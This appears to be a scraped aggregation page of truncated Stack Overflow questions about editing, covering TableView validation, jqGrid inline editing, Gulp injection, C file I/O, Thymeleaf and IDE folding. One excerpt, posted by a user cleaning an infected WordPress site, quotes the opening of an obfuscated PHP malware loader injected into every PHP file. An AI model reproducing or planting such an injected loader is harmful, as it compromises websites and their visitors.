edit

问题 I'd like to have an example which explains me how I can cancel an edit and reset the old value of a specific cell in a TableView that was edited but failed to pass through the validation. See the code below for more info. tcAantalDagen.setOnEditCommit(cell -> { int dagen = Integer.parseInt(cell.getNewValue()); if (Integer.parseInt(cell.getNewValue()) < 1 || Integer.parseInt(cell.getNewValue()) > 31) { // This shows an Alert Dialog Main.toonFoutbericht("Het item kan maar tussen 1 en 31 dagen

问题 We are using the jQuery('#grid').editRow() feature of jqGrid, that allows you to edit fields in a row inline. Does jqGrid support inline editing of multiple rows at once, where I can make changes on multiple rows and then submit all at once? We are trying to avoid having to make changes to each row one by one and do a separate "round trip" to the server to commit each time, for cases were we want to bulk edit a number of fields for a number of records and have a single "commit". 回答1: Inline

问题 I am trying to replace a Resource of an exe(.NET, C#) file using C# code. I have found this article and made this code (using Mono.Cecil 0.6): AssemblyDefinition asdDefinition = AssemblyFactory.GetAssembly("C:\\File.exe"); EmbeddedResource erTemp = new EmbeddedResource("encFile", ManifestResourceAttributes.Public); erTemp.Data = myNewFileBytes; asdDefinition.MainModule.Resources.RemoveAt(0); asdDefinition.MainModule.Resources.Add(erTemp); AssemblyFactory.SaveAssembly(asdDefinition, "C:\

问题 I'm trying to clean a WordPress which has been infected by an exploit. All php files were added a line like this at the beginning of it : <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $yaagutonoj = 'Qtpz)#]341]88M4P8]37]278]225]241]334]3672%164") && (!isset($GLOBALS["%x61

问题 I've been trying to figure out how to add a line of text to any type of file using Gulp. For instance add: @import 'plugins' to my main.sass file. Or add a CDN to an index.html file. I did try: gulp.task('inject-plugins', function(){ gulp.src('src/css/main.sass') .pipe(inject.after('// Add Imports', '\n@import \'plugins\'\n')); }); with no joy. Any idea how I could achieve this please? 回答1: Depends on what you want to do. If you just want to add text to the beginning or end of a file gulp

问题 i am new to work on xml.i have used an xml file as follows: <?xml version="1.0" encoding="UTF-8" ?> - <root> - <key> <Question>Is the color of the car</Question> <Ans>black?</Ans> </key> - <key> <Question>Is the color of the car</Question> <Ans>black?</Ans> </key> - <key> <Question>Is the news paper</Question> <Ans>wallstreet?</Ans> </key> - <key> <Question>fragrance odor</Question> <Ans>Lavendor?</Ans> </key> - <key> <Question>Is the baggage collector available</Question> <Ans /> </key> <

问题 int main() { FILE *ft; char ch; ft=fopen("abc.txt","r+"); if(ft==NULL) { printf("can not open target file\n"); exit(1); } while(1) { ch=fgetc(ft); if(ch==EOF) { printf("done"); break; } if(ch=='i') { fputc('a',ft); } } fclose(ft); return 0; } As one can see that I want to edit abc.txt in such a way that i is replaced by a in it. The program works fine but when I open abc.txt externally, it seemed to be unedited. Any possible reason for that? Why in this case the character after i is not

问题 I am totally changing this question, as part of it was answered here with great help of Avnish! Tom sent me to the right direction so thank you Tom! My problem is that I do not know how to tell Thymeleaf to preselect object elements when editing it. Let me show you: This solution works: <select class="form-control" id="parts" name="parts" multiple="multiple"> <option th:each="part : ${partsAtribute}" th:selected="${servisAttribute.parts.contains(part)}" th:value="${part.id}" th:text="${part

问题 I am only able to view the JavaScript files of the website via the Script panel. How can I edit it? I tried everything like double clicking the line that i want to edit etc., but it doesn't let me edit it. If I move to the HTML tab, I am able to edit the HTML by clicking on the Edit button, but I am not able to edit the JavaScript. 回答1: (source: fidelitydesign.net) You can use the Firebug Console tab to write Javascript. I use this quite a lot of rapid prototyping of code before I integrate

问题 How can I collapse all definitions and methods within the Android Studio editor? Visual Studio has that option on Edit-->Outlining , but I cannot find a similar feature in Android Studio. I am sure that this feature exists. How can I access Android Studio's outlining feature? 回答1: It is called Folding in Android Studio. First make sure it is enabled in config (it should be by default). Go to File -> Settings , then under the IDE Settings area find Editor -> General -> Code Folding , check the